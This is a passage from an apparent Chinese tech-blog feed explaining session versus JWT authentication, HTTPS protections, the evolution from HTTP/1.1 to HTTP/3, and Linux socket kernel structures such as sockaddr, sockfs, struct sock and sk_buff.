&lt;li&gt;&lt;strong&gt;&lt;code&gt;Session-Cookie&lt;/code&gt;模式&lt;/strong&gt;：经典方案。状态集中保存在服务器上(如内存 或 Redis)，客户端的 &lt;code&gt;Cookie&lt;/code&gt; 中只存一个钥匙(Session ID)。本质是&lt;strong&gt;以空间IO换安全&lt;/strong&gt;，服务端掌握绝对控制权。
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;局限性&lt;/em&gt;：在现代分布式集群/微服务架构中，为了实现负载均衡，必须引入额外的 &lt;code&gt;Session共享机制&lt;/code&gt;，否则用户打到不同服务器就会掉线，且存在被 &lt;strong&gt;CSRF(跨站请求伪造)&lt;/strong&gt; 攻击的风险（如诱导用户点击恶意链接）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Token-JWT&lt;/code&gt;(JSON Web Token)模式&lt;/strong&gt;：现代微服务主流。服务器&lt;strong&gt;不保存任何会话状态&lt;/strong&gt;，而是将用户信息加密并签名后打包成 Token 交给客户端，用户存储完整的加密数据包。本质是&lt;strong&gt;以CPU计算换空间IO&lt;/strong&gt;，服务器每次只需通过 CPU 计算校验签名即可。
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;优势&lt;/em&gt;：天然无状态，任何一台拥有秘钥的服务器都能校验Token，契合 Serverless 以及跨域(CORS)请求。&lt;/li&gt;
&lt;li&gt;&lt;em&gt;局限性&lt;/em&gt;：生命周期管理：Token一旦签发在过期前难以主动撤销，需借助 &lt;strong&gt;黑名单blacklist&lt;/strong&gt; 或 &lt;strong&gt;长短期双token&lt;/strong&gt; 补偿。且随着携带的信息增多，Token变大，会带来不小的网络传输开销。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Cookie隐私与安全&lt;/code&gt;加固&lt;/strong&gt;：为了应对日益严峻的安全和隐私挑战，现代 Cookie 引入了三大护城河：&lt;code&gt;HttpOnly&lt;/code&gt;（禁止 JS 读取，防范 XSS 攻击）、&lt;code&gt;Secure&lt;/code&gt;（强制仅在 HTTPS 下传输）以及 &lt;code&gt;SameSite&lt;/code&gt;（限制跨域发送，直接从根源上阻断 CSRF 攻击）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;四、 HTTP 的安全之殇：从明文“裸奔”到 HTTPS 的救赎&lt;/h2&gt;
&lt;h4&gt;4.1 传统 HTTP 的三大安全隐患&lt;/h4&gt;
&lt;p&gt;由于 HTTP 是&lt;strong&gt;明文传输&lt;/strong&gt;的，数据在流经路由器、运营商等中间节点时，存在以下三大风险：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;窃听风险&lt;/strong&gt;：通信链路上可以获取全部通信内容（例如：账号密码直接暴露，你号没了）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;篡改风险&lt;/strong&gt;：中间人可以强行修改通信内容（例如：运营商强制植入垃圾广告，视觉污染）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;冒充风险&lt;/strong&gt;：无法验证通信方的真实身份（例如：黑客冒充淘宝/网银，你钱没了）。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;4.2 HTTPS 的降维打击：三大护城河&lt;/h4&gt;
&lt;p&gt;为了解决 HTTP 的不安全缺陷，&lt;strong&gt;HTTPS(HyperText Transfer Protocol Secure)&lt;/strong&gt; 在 HTTP 和底层 TCP 之间加入了一个安全层 —— &lt;strong&gt;SSL/TLS协议&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;HTTPS 并非一种全新的协议，而是通过在 TLS 层引入三大硬核技术，完美针对了 HTTP 的三个风险：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;1. 防窃听：混合加密（信息加密）&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;机制&lt;/strong&gt;：HTTPS 采用的是&lt;strong&gt;非对称加密&lt;/strong&gt;和&lt;strong&gt;对称加密&lt;/strong&gt;结合的混合加密方式，非对称加密CPU开销大且速度慢，对称加密速度快但密钥无法安全交换，混合加密平衡了安全性与性能。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;工作原理&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;在通信建立前（TLS握手阶段），采用&lt;strong&gt;非对称加密&lt;/strong&gt;（公钥/私钥）来安全地交换会话密钥，保证密钥不被中间人窃取。&lt;/li&gt;
&lt;li&gt;在通信过程中（报文传输阶段），采用&lt;strong&gt;对称加密&lt;/strong&gt;（共享密钥），使用刚刚协商好的安全的会话密钥对数据进行加密传输。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2. 防篡改：摘要算法 + 数字签名（数据完整性校验）&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;机制&lt;/strong&gt;：为了防止传输中途被中间人篡改（即便无法破解密文，黑客也能破坏数据完整性），HTTPS 在传输阶段使用了 MAC（消息认证码） 或更先进的 AEAD（认证加密） 算法。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;工作原理&lt;/strong&gt;：发送方不仅对数据进行加密，还会对明文进行Hash计算得到一个独一无二的Hash摘要，并结合对称密钥生成 MAC 标签随数据发送。接收方解密后，重新计算摘要并校验标签，比对一致即可证明&lt;strong&gt;内容绝对没有被篡改过&lt;/strong&gt;（哪怕改了一个标点符号，Hash 值也会天差地别（不考虑哈希冲突）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;3. 防冒充：数字证书（身份认证）&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;机制&lt;/strong&gt;：即使有了加密，客户端依然无法确认“发给我公钥的服务器，真的是淘宝吗？”（中间人攻击）。为此，HTTPS 引入了 &lt;strong&gt;CA(证书权威机构)&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;工作原理&lt;/strong&gt;：服务器必须向 CA 机构付费申请一张「数字证书」。证书中包含了服务器的公钥、域名信息以及 CA 机构的&lt;strong&gt;数字签名&lt;/strong&gt;。浏览器在连接时，会使用操作系统内置的 CA 根公钥去验证证书的合法性。这彻底解决了“你是谁”的信任问题。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;4.3 HTTP 与 HTTPS 的核心区别总结&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;维度&lt;/th&gt;
&lt;th&gt;HTTP (超文本传输协议)&lt;/th&gt;
&lt;th&gt;HTTPS (安全超文本传输协议)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;传输形态&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;明文传输&lt;/strong&gt;，毫无隐私可言。&lt;/td&gt;
&lt;td&gt;具备安全性的&lt;strong&gt;SSL/TLS加密传输&lt;/strong&gt;。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;连接过程(建连开销)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1-RTT 只需进行&lt;strong&gt;TCP三次握手&lt;/strong&gt;即可传输报文&lt;/td&gt;
&lt;td&gt;2~3 RTT,TCP三次握手后，还需进行额外的&lt;strong&gt;SSL/TLS握手&lt;/strong&gt;（协商加密算法和密钥）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;端口与协议层&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;端口&lt;strong&gt;80&lt;/strong&gt;。直接运行在TCP之上。&lt;/td&gt;
&lt;td&gt;端口&lt;strong&gt;443&lt;/strong&gt;。运行在SSL/TLS之上，SSL/TLS运行在TCP之上。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;成本与证书&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;免费，即连即用。&lt;/td&gt;
&lt;td&gt;必须向 CA 机构申请&lt;strong&gt;数字证书&lt;/strong&gt;，一般需要一定的费用。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;现代 Web 演进视角&lt;/strong&gt;：虽然 HTTPS 在握手阶段增加了 1~2 个 RTT 的网络延迟，但在现代网络协议（如 HTTP/2 和 HTTP/3）中，&lt;strong&gt;HTTPS已经是强制标配&lt;/strong&gt;（主流浏览器不再支持明文的HTTP/2）。通过 TLS 1.3 的会话恢复（0-RTT）机制，HTTPS 的性能损耗已经降到了微乎其微的程度。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;五、HTTP版本演进：从 HTTP/1.1 到 HTTP/3&lt;/h2&gt;
&lt;p&gt;要真正理解 HTTP 协议的演进，核心是看懂每一次升级都在解决上一代的&lt;strong&gt;队头阻塞(Head-of-Line Blocking)&lt;strong&gt;和&lt;/strong&gt;握手延迟&lt;/strong&gt;问题。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性维度&lt;/th&gt;
&lt;th&gt;HTTP/1.1&lt;/th&gt;
&lt;th&gt;HTTP/2&lt;/th&gt;
&lt;th&gt;HTTP/3&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;底层传输协议&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;QUIC（基于 UDP）&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;数据格式&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;纯文本格式&lt;/td&gt;
&lt;td&gt;二进制帧（Frame）&lt;/td&gt;
&lt;td&gt;二进制帧&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;多路复用&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;❌ 存在 &lt;strong&gt;HTTP层&lt;/strong&gt; 队头阻塞&lt;/td&gt;
&lt;td&gt;✅解决HTTP层队头阻塞, ❌仍有&lt;strong&gt;TCP层&lt;/strong&gt;队头阻塞&lt;/td&gt;
&lt;td&gt;✅ 彻底解决队头阻塞&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;头部压缩&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;无（头部全量明文传输）&lt;/td&gt;
&lt;td&gt;HPACK（静态/动态字典+哈夫曼）&lt;/td&gt;
&lt;td&gt;QPACK（解决动态字典队头阻塞）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;安全握手延迟&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;TCP(1 RTT) + TLS(1~2 RTT)&lt;/td&gt;
&lt;td&gt;TCP(1 RTT) + TLS(1~2 RTT)&lt;/td&gt;
&lt;td&gt;首次 1-RTT，恢复 0-RTT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;连接迁移&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;❌ 不支持（切网断开重连）&lt;/td&gt;
&lt;td&gt;❌ 不支持（IP+端口绑定）&lt;/td&gt;
&lt;td&gt;✅ 支持（基于 Connection ID）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;1. 深入浅出：每一次演进到底解决了什么？&lt;/h3&gt;
&lt;h4&gt;HTTP/1.1：基础&lt;/h4&gt;
&lt;p&gt;HTTP/1.1 奠定了现代 Web 的基础（引入了长连接 &lt;code&gt;Keep-Alive&lt;/code&gt;），但也存在致命缺陷：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;HTTP层队头阻塞&lt;/strong&gt;：虽然支持管道化（Pipeline），但在同一个 TCP 连接里，服务器必须&lt;strong&gt;按请求的顺序响应&lt;/strong&gt;。如果第一个请求处理慢，后面的请求全都被阻塞。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;头部臃肿&lt;/strong&gt;：每次请求都携带大量重复的 Header（如 Cookie、User-Agent），且不压缩，浪费极大的带宽。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;应对妥协&lt;/strong&gt;：为了绕过并发限制，前端发明了“雪碧图”、“域名分片(Domain Sharding)”等奇技淫巧，本质都是向协议的缺陷妥协。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;HTTP/2：破局与遗留&lt;/h4&gt;
&lt;p&gt;HTTP/2 是一次巨大的重构，核心是引入了&lt;strong&gt;二进制分帧&lt;/strong&gt;和**流(Stream)**的概念。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;✅ 突破 1：多路复用&lt;/strong&gt;：多个请求可以复用同一个 TCP 连接，数据被拆分成带有 &lt;code&gt;Stream ID&lt;/code&gt; 的二进制帧交错传输。这彻底解决了&lt;strong&gt;HTTP层的队头阻塞&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;✅ 突破 2：HPACK 压缩&lt;/strong&gt;：客户端和服务端共同维护一个字典，重复的 Header 只需要传索引号，大幅减少传输量。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;❌ 局限：TCP 层的队头阻塞&lt;/strong&gt;：HTTP/2 依然使用 TCP。TCP 保证数据的绝对有序，&lt;strong&gt;一旦发生丢包，整个 TCP 连接上的所有流(Stream)都必须等待丢包重传&lt;/strong&gt;。也就是说，一个流的丢包，会把其他无辜的流一起阻塞。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;颠覆重构：HTTP/3 (&lt;code&gt;QUIC&lt;/code&gt;)&lt;/h4&gt;
&lt;p&gt;既然 TCP 协议底层的机制限制了性能的进一步突破，HTTP/3 干脆“掀桌子”，将底层协议换成了基于 UDP 的 &lt;strong&gt;QUIC 协议&lt;/strong&gt;。
&lt;strong&gt;HTTP/3 的四大核心优势：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;彻底消除队头阻塞&lt;/strong&gt;：
QUIC 也是基于流(Stream)的，但因为底层是 UDP，没有 TCP 的强顺序限制。&lt;strong&gt;流与流之间相互独立&lt;/strong&gt;，Stream A 发生丢包，只会阻塞 Stream A，Stream B 的数据可以直接交给应用层。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;极致的握手速度(0-RTT)&lt;/strong&gt;：
传统的 HTTPS 需要经历 TCP 三次握手 + TLS 握手（需2~3个RTT）。QUIC &lt;strong&gt;将传输层与加密层合并&lt;/strong&gt;，内置 TLS 1.3，首次连接只需 &lt;strong&gt;1-RTT&lt;/strong&gt;；对于之前连接过的服务器，甚至可以实现 &lt;strong&gt;0-RTT&lt;/strong&gt; 极速建连。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;网络切换平滑过渡(连接迁移)&lt;/strong&gt;：
TCP 是基于 &lt;code&gt;(源IP, 源端口, 目的IP, 目的端口)&lt;/code&gt; 四元组来识别连接的。当你从 Wi-Fi 切换到蜂窝网络（5G）时，IP 变了，TCP 连接必定断开重连。而 QUIC 使用一个唯一的 &lt;strong&gt;Connection ID(CID)&lt;/strong&gt; 来标识连接。即使 IP 变化，只要 CID 没变，连接就能无缝保持，视频不卡、游戏不掉线！&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;更高效的 QPACK 字典同步&lt;/strong&gt;：
HTTP/2 的 HPACK 在动态字典同步时也会产生队头阻塞（如果更新字典的包丢了，后面的 Header 无法解析）。HTTP/3 的 QPACK 允许乱序解码，并使用单向流专门传输字典状态，解决了这一隐患。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>socket</title><link>https://blog.alinche.dpdns.org/posts/os/io/socket/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/os/io/socket/</guid><description>网络编程的基石：深入解析 Socket 原理与 Linux 内核实现</description><pubDate>Wed, 04 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;&lt;strong&gt;网络编程的基石：深入解析 Socket 原理与 Linux 内核实现&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;在计算机网络中，通信的本质是端到端（End-to-End）的进程间通信。为了实现这一目标，操作系统需要解决一个核心矛盾：统一的编程接口（API）与多样化的底层协议（IPv4, IPv6, UNIX Domain, Bluetooth等）之间的解耦。&lt;/p&gt;
&lt;p&gt;Socket 是网络编程的核心抽象，它将网络连接封装为文件描述符，使得网络 I/O 能够复用 Unix/Linux 的&quot;一切皆文件&quot;哲学。本文将深入探讨 Socket 的工作原理，从用户态 API 到底层内核实现，帮助你构建完整的 Socket 知识体系。&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;一、 地址结构体：从 IP 到通信端点&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;网络通信的核心问题是如何精确定位通信的两端：&lt;strong&gt;主机（IP 地址）+ 进程（端口号）&lt;/strong&gt;。Socket 提供了一套结构体体系来解决这个定位问题。&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;1.1 基础存储单元&lt;/strong&gt;&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;// IPv4 地址存储（32 位）
struct in_addr {
    in_addr_t s_addr; // 网络字节序（大端序）
};
// IPv6 地址存储（128 位）
struct in6_addr {
    uint8_t s6_addr[16]; // 128 位 IPv6 地址
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;工程细节&lt;/strong&gt;：在网络传输中，IP 地址以&lt;strong&gt;网络字节序&lt;/strong&gt;（大端序）存储，因此需要进行 &lt;code&gt;htonl()&lt;/code&gt;/&lt;code&gt;ntohl()&lt;/code&gt;  (Host to Network Short) 转换。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Q: 为什么网络协议选择大端序？
A: 因为大端序符合人类阅读习惯（从左到右），且在协议头处理中，先读到的高位字节通常包含关键的路由或控制信息，方便网卡硬件在流式处理中尽早做出决策。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;&lt;strong&gt;1.2  通信端点的具象化&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;BSD Socket 设计了一套结构体体系，模仿了面向对象中的多态：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;struct sockaddr&lt;/code&gt; (基类)&lt;/strong&gt;：通用地址结构，所有系统调用 API（如 &lt;code&gt;bind&lt;/code&gt;, &lt;code&gt;connect&lt;/code&gt;）都接收它的指针。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;struct sockaddr_in&lt;/code&gt; (实现类)&lt;/strong&gt;：针对 IPv4 的具体实现。包含地址族（&lt;code&gt;AF_INET&lt;/code&gt;）、端口、IP地址。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;struct sockaddr_storage&lt;/code&gt; (更大的空间)&lt;/strong&gt;：足够大，可容纳任何地址族。编写协议无关代码时的核心工具。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// 16字节通用地址结构（用于函数参数）
struct sockaddr {
    sa_family_t sa_family;  // 地址族
    char        sa_data[14]; // 地址数据（由具体协议填充）
};
// IPv4 通信端点结构体 (16字节)
struct sockaddr_in {
    sa_family_t    sin_family;  // 地址族标识：AF_INET (IPv4)
    in_port_t      sin_port;    // 16位端口号（网络字节序）
    struct in_addr sin_addr;    // 32位IPv4地址
    char           sin_zero[8]; // 填充，使结构体与 sockaddr 等长
};

// IPv6 通信端点结构体 (28字节)
struct sockaddr_in6 {
    sa_family_t      sin6_family;   // AF_INET6
    in_port_t        sin6_port;     // 端口号
    uint32_t         sin6_flowinfo; // 流信息：用于服务质量（QoS）控制
    struct in6_addr  sin6_addr;     // 128位IPv6地址
    uint32_t         sin6_scope_id; // 作用域 ID
};

// 128字节足够大的存储空间，可容纳任何地址族的通信端点信息
// 设计理念：协议无关的通用地址存储
struct sockaddr_storage {
    sa_family_t ss_family; // 地址族标识
    char   __ss_padding[_SS_PADSIZE]; // 填充字节
    uint64_t __ss_align;   // 强制 8 字节对齐
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;&lt;strong&gt;1.3 UNIX Domain Socket(UDS)：打破网络栈的“捷径”&lt;/strong&gt;&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;struct sockaddr_un {
    sa_family_t sun_family;  // AF_UNIX 或 AF_LOCAL
    char        sun_path[108]; // 文件系统路径
};
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;当通信两端位于同一台机器时，使用 TCP/IP 协议栈会带来不必要的封包、校验和、路由决策和上下文切换开销。&lt;/li&gt;
&lt;li&gt;UDS 将 Socket 绑定到一个具体的文件系统路径。内核直接在内存中拷贝数据（从一个内核缓冲区到另一个内核缓冲区，甚至可以利用共享内存机制零内存拷贝），无需经过网卡驱动和协议栈，是高效的本地 IPC 机制。（如：Docker守护进程、数据库连接sock）&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;&lt;strong&gt;二、 Socket 的内核本质：从 VFS 抽象到协议栈实体象&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;在 Linux 内核中“一切皆文件”，Socket 不仅仅是一个整数fd，它是一个跨越了VFS虚拟文件系统层、通用套接字层与具体协议层的复杂对象。&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;2.1 伪文件系统 &lt;code&gt;sockfs&lt;/code&gt;：网络与文件的“耦合剂”&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;Socket并不存在于物理磁盘，它挂载在于内核内存中的 &lt;strong&gt;&lt;code&gt;sockfs&lt;/code&gt; 伪文件系统&lt;/strong&gt;。当你调用 socket() 时，内核实际上完成了一次“三位一体”的资源锚定：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;文件描述符(fd)&lt;/strong&gt;：进程维度的索引，是应用层操作内核对象的唯一句柄。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;struct file&lt;/code&gt;&lt;/strong&gt;：内核维度的打开文件对象。其 &lt;code&gt;f_op&lt;/code&gt; 指向全局静态变量 &lt;code&gt;socket_file_ops&lt;/code&gt;。这意味着当你对Socket调用 &lt;code&gt;read/write()&lt;/code&gt; 时，内核会自动跳转到网络协议栈的接收/发送函数。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;struct inode&lt;/code&gt;&lt;/strong&gt;：VFS维度的元数据节点。在&lt;code&gt;sockfs&lt;/code&gt;中，这个 inode 结构体实际上被包含在一个更大的 &lt;code&gt;struct socket_alloc&lt;/code&gt; 结构中，从而将其与 &lt;strong&gt;&lt;code&gt;struct socket&lt;/code&gt;&lt;/strong&gt; 关联起来。（无论 inode 还是 socket 都可以通过container_of宏拿到socket_alloc，从而实现了VFS层与Socket层的无缝衔接，这种“连体”设计让 Linux 能够以极小的开销，将网络通信协议挂载到文件系统的架构之上。）&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;struct socket_alloc {
    struct socket socket;   // 套接字接口
    struct inode vfs_inode; // VFS inode
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;&lt;strong&gt;2.2 内核双重结构体：&lt;code&gt;struct socket&lt;/code&gt;(壳) vs &lt;code&gt;struct sock&lt;/code&gt;(核)&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;这是内核解耦设计的精髓，体现了 &lt;strong&gt;面向对象中的“代理模式”&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;struct socket&lt;/code&gt; (BSD 层)&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;角色&lt;/strong&gt;：面向 VFS 的“接口人”，是内核对用户态的直接代理。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;职责&lt;/strong&gt;：管理 Socket 的生命周期状态、类型（流或数据报）、处理系统调用分发。&lt;/li&gt;
&lt;li&gt;它是&lt;strong&gt;同步&lt;/strong&gt;的，运行在进程的系统调用上下文中。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;struct socket {
    socket_state           state;      // SS_CONNECTED 等状态
    short                  type;       // SOCK_STREAM, SOCK_DGRAM 等
    unsigned long          flags;      // SOCK_NONBLOCK, SOCK_CLOEXEC 等标志
    struct file            *file;      // 反向指向 file
    struct sock            *sk;        // 指向核心协议对象 sock
    const struct proto_ops *ops;       // 协议族操作集 (如 inet_stream_ops)
    struct socket_wq       wq;         // 等待队列
};
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;struct sock&lt;/code&gt; (sk, 协议栈层)&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;角色&lt;/strong&gt;：协议栈的“工作主体”状态机。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;职责&lt;/strong&gt;：维护接收/发送缓冲区队列（&lt;code&gt;sk_receive_queue&lt;/code&gt;/&lt;code&gt;sk_write_queue&lt;/code&gt;）、TCP 状态机、拥塞控制逻辑（如CUBIC）、重传/保活定时器。&lt;/li&gt;
&lt;li&gt;它是&lt;strong&gt;异步&lt;/strong&gt;的，由内核软中断（SoftIRQ）驱动，即便进程在睡觉，&lt;code&gt;struct sock&lt;/code&gt; 也在后台忙着处理来到网卡的报文。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;struct sock {
    // 1. 通用网络层状态
    struct sk_buff_head     sk_receive_queue; // 接收队列
    struct sk_buff_head     sk_write_queue;   // 发送队列
    unsigned int            sk_rcvbuf;        // 接收缓冲区大小
    unsigned int            sk_sndbuf;        // 发送缓冲区大小
    // 2. 协议特定部分 (通过 &apos;struct inet_sock&apos; 等结构体扩展)
    // 包含源/目的IP、端口、TCP状态机、拥塞控制算法、重传定时器等
    ...
    // 3. 反向指针
    struct socket           *sk_socket;      // 反向指向 socket
};
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;关联&lt;/strong&gt;：&lt;code&gt;struct socket&lt;/code&gt; 包含一个指向 &lt;code&gt;struct sock&lt;/code&gt; 的指针。这种解耦允许 Socket 接口支持 TCP、UDP 甚至是自定义协议。例如，对于 TCP 连接，内核实际分配的是一个巨大的 &lt;code&gt;struct tcp_sock&lt;/code&gt;，它包含了 struct sock 的所有字段并扩展了 TCP 特有的拥塞控制等属性。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;strong&gt;2.3 &lt;code&gt;sk_buff&lt;/code&gt; (skb) 数据包的“内存传送带”&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;在Linux内核中，每个数据包都是一个 &lt;code&gt;sk_buff&lt;/code&gt; 对象，它是数据包在各层协议之间流转的唯一载体。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Headroom 机制&lt;/strong&gt;：&lt;code&gt;skb&lt;/code&gt;在初始申请内存时，会预留足够的头部空间（Headroom）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;逻辑封装，物理零拷贝&lt;/strong&gt;：&lt;code&gt;skb&lt;/code&gt; 拥有一组头指针（&lt;code&gt;head&lt;/code&gt;, &lt;code&gt;data&lt;/code&gt;, &lt;code&gt;tail&lt;/code&gt;, &lt;code&gt;end&lt;/code&gt;）。
&lt;ul&gt;
&lt;li&gt;下行发送：当数据从应用层下发到网卡驱动时，各层协议（TCP-&amp;gt;IP-&amp;gt;MAC）只需通过 &lt;code&gt;skb_push()&lt;/code&gt; 向前移动 data 指针，在预留的 &lt;strong&gt;Headroom&lt;/strong&gt; 空间内填入各层包头，&lt;strong&gt;无需发生物理内存拷贝&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;上行接收：当报文从网卡进入协议栈时，通过 &lt;code&gt;skb_pull()&lt;/code&gt; 剥离包头。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;&lt;strong&gt;三、 系统调用的底层 OS 逻辑：从Trap到内核协议栈&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;当应用层调用 &lt;code&gt;write(fd, buf, len)&lt;/code&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Syscall 入口&lt;/strong&gt;：CPU 触发 syscall 指令从用户态陷入内核态。内核通过sys_write入口，利用 &lt;code&gt;fd&lt;/code&gt; 在进程的 &lt;code&gt;files_struct&lt;/code&gt; 中索引出对应的 &lt;code&gt;struct file&lt;/code&gt;。&lt;/li&gt;
